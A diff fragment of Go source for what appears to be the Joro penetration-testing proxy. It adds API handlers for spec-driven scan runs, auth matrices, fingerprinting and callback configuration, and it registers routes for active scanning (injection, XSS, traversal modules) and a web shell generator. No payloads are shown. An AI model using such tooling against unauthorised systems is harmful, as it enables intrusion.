"format": string(spec.Format), "operations": len(spec.Operations),
|
||||
"sourceUrl": spec.SourceURL,
|
||||
}}
|
||||
}
|
||||
go apiscan.Discover(context.Background(), run, paths, deps, onSpec)
|
||||
|
||||
writeJSON(w, http.StatusCreated, map[string]any{
|
||||
"runId": run.ID, "kind": string(apiscan.KindDiscovery), "total": len(paths),
|
||||
"warnings": s.runWarnings(len(paths)),
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecListRuns(w http.ResponseWriter, r *http.Request) {
|
||||
runs := s.specRuns.List()
|
||||
out := make([]map[string]any, 0, len(runs))
|
||||
for _, run := range runs {
|
||||
completed, errs, skipped, hits := run.Counts()
|
||||
out = append(out, map[string]any{
|
||||
"id": run.ID, "kind": string(run.Kind), "specId": run.SpecID,
|
||||
"status": string(run.Status()), "total": run.Total,
|
||||
"completed": completed, "errors": errs, "skipped": skipped, "hits": hits,
|
||||
"createdAt": run.CreatedAt,
|
||||
})
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"runs": out})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecGetRun(w http.ResponseWriter, r *http.Request) {
|
||||
run := s.specRuns.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
results := run.Results()
|
||||
offset, limit := pageParams(r, len(results))
|
||||
// Materialized, never nil: a nil slice marshals as null against a client type
|
||||
// that says array. See apispec.Spec.normalize.
|
||||
page := []apiscan.Result{}
|
||||
if offset < len(results) {
|
||||
end := min(offset+limit, len(results))
|
||||
page = results[offset:end]
|
||||
}
|
||||
|
||||
completed, errs, skipped, hits := run.Counts()
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"id": run.ID, "kind": string(run.Kind), "specId": run.SpecID,
|
||||
"status": string(run.Status()), "total": run.Total,
|
||||
"completed": completed, "errors": errs, "skipped": skipped, "hits": hits,
|
||||
"createdAt": run.CreatedAt,
|
||||
"results": page, "resultTotal": len(results), "offset": offset, "limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecGetMatrix(w http.ResponseWriter, r *http.Request) {
|
||||
run := s.specRuns.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
if run.Kind == apiscan.KindDiscovery {
|
||||
writeError(w, http.StatusBadRequest, "a discovery run has no auth matrix")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, apiscan.Matrix(run))
|
||||
}
|
||||
|
||||
// handleSpecGetResult returns one result including its raw bytes, fetched on
|
||||
// demand rather than streamed, as the fuzzer's detail endpoint is.
|
||||
func (s *APIServer) handleSpecGetResult(w http.ResponseWriter, r *http.Request) {
|
||||
run := s.specRuns.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
idx, err := strconv.Atoi(r.PathValue("index"))
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "index must be a number")
|
||||
return
|
||||
}
|
||||
res, ok := run.ResultAt(idx)
|
||||
if !ok {
|
||||
writeError(w, http.StatusNotFound, "no such result")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"result": stripRaw(res),
|
||||
"reqRaw": base64.StdEncoding.EncodeToString(res.ReqRaw),
|
||||
"respRaw": base64.StdEncoding.EncodeToString(res.RespRaw),
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecStopRun(w http.ResponseWriter, r *http.Request) {
|
||||
run := s.specRuns.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
if !run.Stop() {
|
||||
writeError(w, http.StatusConflict, "run is not running")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"stopped": true})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSpecDeleteRun(w http.ResponseWriter, r *http.Request) {
|
||||
run := s.specRuns.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
if run.Status() == apiscan.StatusRunning {
|
||||
writeError(w, http.StatusConflict, "stop the run before deleting it")
|
||||
return
|
||||
}
|
||||
s.specRuns.Delete(run.ID)
|
||||
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
|
||||
}
|
||||
|
||||
// runWarnings reports conditions the operator should know about before a run
|
||||
// rather than discover during one.
|
||||
func (s *APIServer) runWarnings(total int) []string {
|
||||
out := []string{}
|
||||
// Every send goes through Joro's own proxy, so an armed intercept pauses each
|
||||
// one in the operator's queue. At scan volumes that is not a small surprise.
|
||||
if s.settings.InterceptEnabled {
|
||||
out = append(out, fmt.Sprintf(
|
||||
"request intercept is armed, so all %d requests will pause in the Intercept queue", total))
|
||||
}
|
||||
if total > 500 {
|
||||
out = append(out, fmt.Sprintf(
|
||||
"%d requests will be captured into History, which may evict older traffic from the capture buffer", total))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func stripRaw(res apiscan.Result) apiscan.Result {
|
||||
res.ReqRaw, res.RespRaw = nil, nil
|
||||
return res
|
||||
}
|
||||
|
||||
// selectOperations picks the named operations, preserving document order so a
|
||||
// results table reads the way the tree does. An empty list means all of them.
|
||||
func selectOperations(spec *apispec.Spec, ids []string) []apispec.Operation {
|
||||
if len(ids) == 0 {
|
||||
out := make([]apispec.Operation, len(spec.Operations))
|
||||
copy(out, spec.Operations)
|
||||
return out
|
||||
}
|
||||
want := make(map[string]bool, len(ids))
|
||||
for _, id := range ids {
|
||||
want[id] = true
|
||||
}
|
||||
var out []apispec.Operation
|
||||
for _, op := range spec.Operations {
|
||||
if want[op.ID] {
|
||||
out = append(out, op)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// selectProfiles resolves the named profiles.
|
||||
//
|
||||
// Asking for nothing falls back to one unauthenticated profile, which is what
|
||||
// makes a plain scan a matrix with one profile rather than a separate code path.
|
||||
// Asking for profiles that do not resolve must not reach that fallback: ids are
|
||||
// renumbered on re-save, so a stale request is ordinary, and running a
|
||||
// credentialed matrix anonymously reports every reachable endpoint as open.
|
||||
func (s *APIServer) selectProfiles(specID string, ids []string) ([]apiscan.Profile, error) {
|
||||
all := s.specStore.Profiles(specID)
|
||||
if len(ids) == 0 {
|
||||
if len(all) == 0 {
|
||||
return []apiscan.Profile{{ID: "none", Label: "unauthenticated", Rank: 0}}, nil
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
want := make(map[string]bool, len(ids))
|
||||
for _, id := range ids {
|
||||
want[id] = true
|
||||
}
|
||||
var out []apiscan.Profile
|
||||
for _, p := range all {
|
||||
if want[p.ID] {
|
||||
out = append(out, p)
|
||||
}
|
||||
}
|
||||
if len(out) == 0 {
|
||||
return nil, fmt.Errorf("none of the requested auth profiles exist on this document; re-pick them")
|
||||
}
|
||||
if len(out) < len(ids) {
|
||||
return nil, fmt.Errorf("%d of the %d requested auth profiles no longer exist on this document; re-pick them",
|
||||
len(ids)-len(out), len(ids))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func serverFor(spec *apispec.Spec, index *int, scheme, host string, basePath *string) apispec.Server {
|
||||
srv := apispec.Server{}
|
||||
idx := 0
|
||||
if index != nil {
|
||||
idx = *index
|
||||
}
|
||||
if idx >= 0 && idx < len(spec.Servers) {
|
||||
srv = spec.Servers[idx]
|
||||
}
|
||||
if scheme != "" {
|
||||
srv.Scheme = scheme
|
||||
}
|
||||
if host != "" {
|
||||
srv.Host = host
|
||||
}
|
||||
if basePath != nil {
|
||||
srv.BasePath = *basePath
|
||||
}
|
||||
return srv
|
||||
}
|
||||
|
||||
// normalizeMethods upper-cases a supplied whitelist. An empty one leaves the
|
||||
// default, which excludes DELETE and PATCH.
|
||||
func normalizeMethods(methods []string) []string {
|
||||
if len(methods) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]string, 0, len(methods))
|
||||
for _, m := range methods {
|
||||
if m = strings.ToUpper(strings.TrimSpace(m)); m != "" {
|
||||
out = append(out, m)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func pageParams(r *http.Request, total int) (offset, limit int) {
|
||||
limit = 500
|
||||
if v := r.URL.Query().Get("limit"); v != "" {
|
||||
if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 5000 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
if v := r.URL.Query().Get("offset"); v != "" {
|
||||
if n, err := strconv.Atoi(v); err == nil && n >= 0 {
|
||||
offset = n
|
||||
}
|
||||
}
|
||||
return offset, limit
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/internal/techfp"
|
||||
)
|
||||
|
||||
// techStore returns the fingerprint store, or nil when fingerprinting is not
|
||||
// wired (listener/team-server mode). The active-scan rule reads it to gate checks.
|
||||
func (s *APIServer) techStore() *techfp.Store {
|
||||
if s.techEngine == nil {
|
||||
return nil
|
||||
}
|
||||
return s.techEngine.Store()
|
||||
}
|
||||
|
||||
// techAvailable rejects requests when fingerprinting is not wired, as in listener
|
||||
// and team-server mode. The routes are also behind the proxy-mode gate in
|
||||
// registerRoutes.
|
||||
func (s *APIServer) techAvailable(w http.ResponseWriter) bool {
|
||||
if s.techEngine == nil {
|
||||
writeError(w, http.StatusNotFound, "technology fingerprinting is unavailable in this mode")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// handleListTechHosts returns every fingerprinted host and the summary counts.
|
||||
func (s *APIServer) handleListTechHosts(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
hosts, techs := s.techEngine.Store().Summary()
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"enabled": s.techEngine.Enabled(),
|
||||
"hosts": s.techEngine.Store().Hosts(),
|
||||
"summary": map[string]int{"hosts": hosts, "techs": techs},
|
||||
"scan": s.techEngine.Status(),
|
||||
})
|
||||
}
|
||||
|
||||
// handleStartTechScan re-fingerprints captured history (all hosts, or one when
|
||||
// scope is "host"). Backfills a loaded project's hosts, which the live cursor skips.
|
||||
func (s *APIServer) handleStartTechScan(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
var req techfp.RescanRequest
|
||||
if err := decodeJSONOptional(r, &req, maxJSONBody); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
status, err := s.techEngine.StartRescan(s.detectBackgroundCtx(), req)
|
||||
if err == techfp.ErrScanRunning {
|
||||
writeError(w, http.StatusConflict, err.Error())
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, status)
|
||||
}
|
||||
|
||||
// handleGetTechScan returns the current rescan status.
|
||||
func (s *APIServer) handleGetTechScan(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, s.techEngine.Status())
|
||||
}
|
||||
|
||||
// handleCancelTechScan stops a running rescan.
|
||||
func (s *APIServer) handleCancelTechScan(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
s.techEngine.Cancel()
|
||||
writeJSON(w, http.StatusOK, s.techEngine.Status())
|
||||
}
|
||||
|
||||
// handleGetTechHost returns one host's technology set.
|
||||
func (s *APIServer) handleGetTechHost(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
ht, ok := s.techEngine.Store().Host(r.PathValue("host"))
|
||||
if !ok {
|
||||
writeError(w, http.StatusNotFound, "no technologies recorded for this host")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, ht)
|
||||
}
|
||||
|
||||
// handleSetTechEnabled toggles passive fingerprinting.
|
||||
func (s *APIServer) handleSetTechEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.techAvailable(w) {
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := decodeJSON(r, &body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
s.techEngine.SetEnabled(body.Enabled)
|
||||
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// StartOASTLoop launches the out-of-band confirmer and the domain refresher. Like
|
||||
// the echo and tech loops it runs unconditionally and no-ops per cycle while the
|
||||
// callback domain is unknown, so configuring a listener later needs no restart.
|
||||
func (s *APIServer) StartOASTLoop(ctx context.Context) {
|
||||
if s.oastEngine == nil {
|
||||
return
|
||||
}
|
||||
go s.oastEngine.Run(ctx)
|
||||
go s.refreshOASTDomain(ctx)
|
||||
}
|
||||
|
||||
// callbackDomainForOAST is the domain the confirmer harvests callback tokens
|
||||
// under. Read every cycle so a domain learned from the listener takes effect live.
|
||||
func (s *APIServer) callbackDomainForOAST() string {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
return s.oastDomain
|
||||
}
|
||||
|
||||
// refreshOASTDomain keeps oastDomain current. A local --domain is authoritative
|
||||
// and needs no fetch; otherwise, when a listener URL is configured, it fills the
|
||||
// domain in from the listener's callback config on an interval. Best-effort: a
|
||||
// failed or unconfigured fetch simply leaves the confirmer idle.
|
||||
func (s *APIServer) refreshOASTDomain(ctx context.Context) {
|
||||
s.mu.RLock()
|
||||
local := s.cfg.CallbackDomain
|
||||
s.mu.RUnlock()
|
||||
if local != "" {
|
||||
return
|
||||
}
|
||||
|
||||
t := time.NewTicker(30 * time.Second)
|
||||
defer t.Stop()
|
||||
s.fetchOASTDomain(ctx)
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-t.C:
|
||||
s.fetchOASTDomain(ctx)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// fetchOASTDomain reads the callback domain from the configured listener and
|
||||
// caches it. No-op when no listener URL is set.
|
||||
func (s *APIServer) fetchOASTDomain(ctx context.Context) {
|
||||
s.mu.RLock()
|
||||
listenerURL := s.settings.ListenerURL
|
||||
teamToken := s.settings.TeamToken
|
||||
teamNickname := s.settings.TeamNickname
|
||||
s.mu.RUnlock()
|
||||
if listenerURL == "" {
|
||||
return
|
||||
}
|
||||
|
||||
url := strings.TrimRight(listenerURL, "/") + "/api/v1/callbacks/config"
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if teamToken != "" {
|
||||
req.Header.Set("Authorization", "Bearer "+teamToken)
|
||||
}
|
||||
if teamNickname != "" {
|
||||
req.Header.Set("X-Joro-Nickname", teamNickname)
|
||||
}
|
||||
|
||||
client := &http.Client{Timeout: 10 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return
|
||||
}
|
||||
var cfg struct {
|
||||
Domain string `json:"domain"`
|
||||
}
|
||||
if json.NewDecoder(resp.Body).Decode(&cfg) != nil || cfg.Domain == "" {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
s.oastDomain = cfg.Domain
|
||||
s.mu.Unlock()
|
||||
}
|
||||
@@ -26,6 +26,7 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
|
||||
mux.HandleFunc("GET /api/v1/callbacks/interactions", s.handleListInteractions)
|
||||
mux.HandleFunc("DELETE /api/v1/callbacks/interactions", s.handleClearInteractions)
|
||||
mux.HandleFunc("GET /api/v1/callbacks/config", s.handleGetCallbackConfig)
|
||||
mux.HandleFunc("POST /api/v1/callbacks/verify", s.handleVerifyCallback)
|
||||
|
||||
// XSS Hunter routes (both modes - handler logic differs per mode)
|
||||
mux.HandleFunc("GET /api/v1/xss/probes", s.handleListProbes)
|
||||
@@ -80,11 +81,16 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
|
||||
// Sitemap
|
||||
mux.HandleFunc("GET /api/v1/sitemap", s.handleGetSitemap)
|
||||
mux.HandleFunc("DELETE /api/v1/sitemap", s.handleDeleteSitemap)
|
||||
// The parameter inventory behind a node. UI-only for the reason stated on the
|
||||
// echo block below: a row names a parameter and an example of its value.
|
||||
mux.HandleFunc("GET /api/v1/sitemap/params", s.handleGetSitemapParams)
|
||||
|
||||
// HTTP history
|
||||
mux.HandleFunc("GET /api/v1/requests", s.handleListRequests)
|
||||
mux.HandleFunc("GET /api/v1/requests/{id}", s.handleGetRequest)
|
||||
mux.HandleFunc("GET /api/v1/requests/{id}/params", s.handleGetRequestParams)
|
||||
mux.HandleFunc("DELETE /api/v1/requests", s.handleClearRequests)
|
||||
mux.HandleFunc("DELETE /api/v1/requests/by-host", s.handleDeleteRequestsByHost)
|
||||
|
||||
// Intercept
|
||||
mux.HandleFunc("GET /api/v1/intercept", s.handleGetInterceptQueue)
|
||||
@@ -108,6 +114,80 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
|
||||
mux.HandleFunc("GET /api/v1/fuzzer/campaigns/{id}/results/{index}", s.handleFuzzerGetResult)
|
||||
mux.HandleFunc("DELETE /api/v1/fuzzer/campaigns/{id}", s.handleFuzzerDeleteCampaign)
|
||||
mux.HandleFunc("POST /api/v1/fuzzer/wordlist", s.handleFuzzerUploadWordlist)
|
||||
mux.HandleFunc("GET /api/v1/fuzzer/wordlists", s.handleFuzzerListWordlists)
|
||||
mux.HandleFunc("POST /api/v1/fuzzer/wordlist/preview", s.handleFuzzerPreviewSource)
|
||||
|
||||
// API description documents (the SJ tab). Loads a Swagger/OpenAPI document,
|
||||
// renders each operation to raw bytes, and drives scans, auth-profile
|
||||
// matrices and document discovery — all through Joro's own proxy, so every
|
||||
// request lands in History, Detect and the site map.
|
||||
//
|
||||
// UI-only, like the fuzzer: none of these are capabilities and none need an
|
||||
// automation flag. "Send every operation in this document" is a large, loud
|
||||
// send primitive, and capreg.Deps gaining a field is documented as the change
|
||||
// that breaks the automation trust boundary.
|
||||
mux.HandleFunc("POST /api/v1/spec/load", s.handleSpecLoad)
|
||||
mux.HandleFunc("GET /api/v1/spec/specs", s.handleSpecList)
|
||||
mux.HandleFunc("GET /api/v1/spec/specs/{id}", s.handleSpecGet)
|
||||
mux.HandleFunc("GET /api/v1/spec/specs/{id}/source", s.handleSpecGetSource)
|
||||
mux.HandleFunc("PUT /api/v1/spec/specs/{id}/placeholders", s.handleSpecSetPlaceholders)
|
||||
mux.HandleFunc("DELETE /api/v1/spec/specs/{id}", s.handleSpecDelete)
|
||||
mux.HandleFunc("POST /api/v1/spec/render", s.handleSpecRender)
|
||||
mux.HandleFunc("POST /api/v1/spec/send", s.handleSpecSend)
|
||||
mux.HandleFunc("GET /api/v1/spec/profiles", s.handleSpecListProfiles)
|
||||
mux.HandleFunc("PUT /api/v1/spec/profiles", s.handleSpecSetProfiles)
|
||||
mux.HandleFunc("POST /api/v1/spec/scan", s.handleSpecScanStart)
|
||||
mux.HandleFunc("POST /api/v1/spec/discover", s.handleSpecDiscoverStart)
|
||||
mux.HandleFunc("GET /api/v1/spec/runs", s.handleSpecListRuns)
|
||||
mux.HandleFunc("GET /api/v1/spec/runs/{id}", s.handleSpecGetRun)
|
||||
mux.HandleFunc("GET /api/v1/spec/runs/{id}/matrix", s.handleSpecGetMatrix)
|
||||
mux.HandleFunc("GET /api/v1/spec/runs/{id}/results/{index}", s.handleSpecGetResult)
|
||||
mux.HandleFunc("POST /api/v1/spec/runs/{id}/stop", s.handleSpecStopRun)
|
||||
mux.HandleFunc("DELETE /api/v1/spec/runs/{id}", s.handleSpecDeleteRun)
|
||||
|
||||
// Multi-step workflows (the Chain tab). Records an ordered chain of captured
|
||||
// requests plus the data dependencies between them, then replays it with a
|
||||
// step omitted, repeated or moved to test whether the application enforces
|
||||
// its own sequence.
|
||||
//
|
||||
// UI-only, for the reason the SJ block above gives, and more so: a sweep is
|
||||
// every variant times every step of real, state-changing traffic — orders
|
||||
// placed, mail sent — which is the loudest send primitive in the product and
|
||||
// the last thing that should be reachable from a token.
|
||||
mux.HandleFunc("GET /api/v1/chain/chains", s.handleChainListChains)
|
||||
mux.HandleFunc("POST /api/v1/chain/chains", s.handleChainCreateChain)
|
||||
mux.HandleFunc("GET /api/v1/chain/chains/{id}", s.handleChainGetChain)
|
||||
mux.HandleFunc("PUT /api/v1/chain/chains/{id}", s.handleChainUpdateChain)
|
||||
mux.HandleFunc("DELETE /api/v1/chain/chains/{id}", s.handleChainDeleteChain)
|
||||
mux.HandleFunc("POST /api/v1/chain/chains/from-history", s.handleChainFromHistory)
|
||||
mux.HandleFunc("POST /api/v1/chain/chains/{id}/correlate", s.handleChainCorrelate)
|
||||
mux.HandleFunc("POST /api/v1/chain/chains/{id}/bind-preview", s.handleChainBindPreview)
|
||||
mux.HandleFunc("GET /api/v1/chain/chains/{id}/steps/{stepId}/response", s.handleChainStepResponse)
|
||||
mux.HandleFunc("POST /api/v1/chain/chains/{id}/preview", s.handleChainPreview)
|
||||
mux.HandleFunc("GET /api/v1/chain/chains/{id}/plan", s.handleChainPlan)
|
||||
mux.HandleFunc("POST /api/v1/chain/record/start", s.handleChainRecordStart)
|
||||
mux.HandleFunc("POST /api/v1/chain/record/stop", s.handleChainRecordStop)
|
||||
mux.HandleFunc("POST /api/v1/chain/runs", s.handleChainRunStart)
|
||||
mux.HandleFunc("GET /api/v1/chain/runs", s.handleChainListRuns)
|
||||
mux.HandleFunc("GET /api/v1/chain/runs/{id}", s.handleChainGetRun)
|
||||
mux.HandleFunc("GET /api/v1/chain/runs/{id}/grid", s.handleChainGetGrid)
|
||||
mux.HandleFunc("GET /api/v1/chain/runs/{id}/results/{index}", s.handleChainGetResult)
|
||||
mux.HandleFunc("POST /api/v1/chain/runs/{id}/stop", s.handleChainStopRun)
|
||||
mux.HandleFunc("DELETE /api/v1/chain/runs/{id}", s.handleChainDeleteRun)
|
||||
|
||||
// Active scanning. Operator-initiated rules that drive a target and file
|
||||
// findings into Detect; DOM XSS is the first. Scope-respecting (a scan with
|
||||
// scope off is never rejected), proxy-mode only, one run at a time.
|
||||
mux.HandleFunc("GET /api/v1/activescan/rules", s.handleActiveScanRules)
|
||||
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/enabled", s.handleSetActiveScanRuleEnabled)
|
||||
mux.HandleFunc("GET /api/v1/activescan/rules/{id}/signatures", s.handleActiveScanSignatures)
|
||||
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/enabled", s.handleSetActiveScanSignaturesBulk)
|
||||
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/{itemId}/enabled", s.handleSetActiveScanSignatureEnabled)
|
||||
mux.HandleFunc("POST /api/v1/activescan/runs", s.handleActiveScanStart)
|
||||
mux.HandleFunc("GET /api/v1/activescan/runs", s.handleActiveScanListRuns)
|
||||
mux.HandleFunc("GET /api/v1/activescan/runs/{id}", s.handleActiveScanGetRun)
|
||||
mux.HandleFunc("POST /api/v1/activescan/runs/{id}/stop", s.handleActiveScanStopRun)
|
||||
mux.HandleFunc("DELETE /api/v1/activescan/runs/{id}", s.handleActiveScanDeleteRun)
|
||||
|
||||
// Passive detection. Unlike the other rule collections below, detect rules
|
||||
// have a PUT (a rule's ID is referenced by every finding it produced) and a
|
||||
@@ -133,6 +213,37 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
|
||||
mux.HandleFunc("GET /api/v1/detect/scan", s.handleGetDetectScan)
|
||||
mux.HandleFunc("POST /api/v1/detect/scan/cancel", s.handleCancelDetectScan)
|
||||
|
||||
// Reflection mapping (the Echo tab). Records every value a request sent and
|
||||
// every place it comes back in the response, with the transform it came back
|
||||
// through and the context it landed in.
|
||||
//
|
||||
// UI-only, like the blocks above, though it sends nothing at all: the map is
|
||||
// a read of captured traffic. It stays off the capability surface because a
|
||||
// row names a parameter and its value, which is where an application puts
|
||||
// session tokens and personal data, and a token that could enumerate the map
|
||||
// would be reading every credential that crossed the proxy.
|
||||
mux.HandleFunc("GET /api/v1/echo", s.handleGetEcho)
|
||||
mux.HandleFunc("PUT /api/v1/echo/enabled", s.handleSetEchoEnabled)
|
||||
mux.HandleFunc("GET /api/v1/echo/config", s.handleGetEchoConfig)
|
||||
mux.HandleFunc("PUT /api/v1/echo/config", s.handleSetEchoConfig)
|
||||
mux.HandleFunc("GET /api/v1/echo/params", s.handleListEchoParams)
|
||||
mux.HandleFunc("GET /api/v1/echo/params/{id}", s.handleGetEchoParam)
|
||||
mux.HandleFunc("GET /api/v1/echo/requests/{requestId}", s.handleGetEchoRequest)
|
||||
mux.HandleFunc("DELETE /api/v1/echo/data", s.handleClearEcho)
|
||||
mux.HandleFunc("POST /api/v1/echo/scan", s.handleStartEchoScan)
|
||||
mux.HandleFunc("GET /api/v1/echo/scan", s.handleGetEchoScan)
|
||||
mux.HandleFunc("POST /api/v1/echo/scan/cancel", s.handleCancelEchoScan)
|
||||
|
||||
// Technology fingerprinting (the embedded Wappalyzer database). UI-only, like
|
||||
// echo: a passive read of captured traffic that names the stack each host
|
||||
// serves, which the active-scan rule reads to gate its checks.
|
||||
mux.HandleFunc("GET /api/v1/tech/hosts", s.handleListTechHosts)
|
||||
mux.HandleFunc("GET /api/v1/tech/hosts/{host}", s.handleGetTechHost)
|
||||
mux.HandleFunc("PUT /api/v1/tech/enabled", s.handleSetTechEnabled)
|
||||
mux.HandleFunc("POST /api/v1/tech/scan", s.handleStartTechScan)
|
||||
mux.HandleFunc("GET /api/v1/tech/scan", s.handleGetTechScan)
|
||||
mux.HandleFunc("POST /api/v1/tech/scan/cancel", s.handleCancelTechScan)
|
||||
|
||||
// Web shell generator
|
||||
mux.HandleFunc("POST /api/v1/generate", s.handleGenerate)
|
||||
|
||||
@@ -156,12 +267,14 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
|
||||
mux.HandleFunc("GET /api/v1/replace", s.handleGetReplace)
|
||||
mux.HandleFunc("PUT /api/v1/replace/enabled", s.handleSetReplaceEnabled)
|
||||
mux.HandleFunc("POST /api/v1/replace/rules", s.handleAddReplaceRule)
|
||||
mux.HandleFunc("PUT /api/v1/replace/rules/{id}/enabled", s.handleSetReplaceRuleEnabled)
|
||||
mux.HandleFunc("DELETE /api/v1/replace/rules/{id}", s.handleDeleteReplaceRule)
|
||||
|
||||
// Custom Data
|
||||
mux.HandleFunc("GET /api/v1/customdata", s.handleGetCustomData)
|
||||
mux.HandleFunc("PUT /api/v1/customdata/enabled", s.handleSetCustomDataEnabled)
|
||||
mux.HandleFunc("POST /api/v1/customdata/items", s.handleAddCustomDataItem)
|
||||
mux.HandleFunc("PUT /api/v1/customdata/items/{id}/enabled", s.handleSetCustomDataItemEnabled)
|
||||
mux.HandleFunc("DELETE /api/v1/customdata/items/{id}", s.handleDeleteCustomDataItem)
|
||||
|
||||
// Config save/load
|
||||
@@ -315,6 +428,13 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
|
||||
mux.HandleFunc("POST /api/v1/webhooks/{id}/test", s.handleTestWebhook)
|
||||
mux.HandleFunc("GET /api/v1/webhooks/{id}/deliveries", s.handleListWebhookDeliveries)
|
||||
|
||||
// Threat-intel feeds. Registered unconditionally and gated on requireFeeds, for the same
|
||||
// SPA-catch-all reason as the block above. UI-only, proxy-mode only (nil in listener mode).
|
||||
mux.HandleFunc("GET /api/v1/feeds", s.handleGetFeeds)
|
||||
mux.HandleFunc("POST /api/v1/feeds/refresh", s.handleRefreshFeeds)
|
||||
mux.HandleFunc("GET /api/v1/feeds/settings", s.handleGetFeedsSettings)
|
||||
mux.HandleFunc("PUT /api/v1/feeds/settings", s.handleSetFeedsSettings)
|
||||
|
||||
// Plugin routes (dynamic, based on loaded plugins).
|
||||
registerPluginRoutes(s, mux)
|
||||
}
|
||||
@@ -15,24 +15,41 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/cmdi"
|
||||
"github.com/BishopFox/joro/internal/activescan/domxss"
|
||||
"github.com/BishopFox/joro/internal/activescan/openredirect"
|
||||
"github.com/BishopFox/joro/internal/activescan/pathtraversal"
|
||||
"github.com/BishopFox/joro/internal/activescan/reflectedxss"
|
||||
"github.com/BishopFox/joro/internal/activescan/sqli"
|
||||
"github.com/BishopFox/joro/internal/activescan/ssti"
|
||||
"github.com/BishopFox/joro/internal/activescan/templatesig"
|
||||
"github.com/BishopFox/joro/internal/anomaly"
|
||||
"github.com/BishopFox/joro/internal/apiscan"
|
||||
"github.com/BishopFox/joro/internal/automation"
|
||||
"github.com/BishopFox/joro/internal/callback"
|
||||
"github.com/BishopFox/joro/internal/capability"
|
||||
"github.com/BishopFox/joro/internal/cert"
|
||||
"github.com/BishopFox/joro/internal/chain"
|
||||
"github.com/BishopFox/joro/internal/chainrun"
|
||||
"github.com/BishopFox/joro/internal/config"
|
